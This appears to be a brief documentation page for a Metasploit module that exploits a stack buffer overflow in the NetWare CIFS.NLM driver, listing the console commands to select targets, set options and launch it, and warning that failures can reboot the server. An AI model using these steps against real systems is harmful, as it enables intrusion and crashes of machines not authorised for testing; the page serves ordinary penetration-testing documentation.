This module exploits a stack buffer overflow in the NetWare CIFS.NLM driver. Since the driver runs in the kernel space, a failed exploit attempt can cause the OS to reboot.
Netware
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/netware/smb/lsass_cifs
msf exploit(lsass_cifs) > show targets
...targets...
msf exploit(lsass_cifs) > set TARGET < target-id >
msf exploit(lsass_cifs) > show options
...show and set options...
msf exploit(lsass_cifs) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
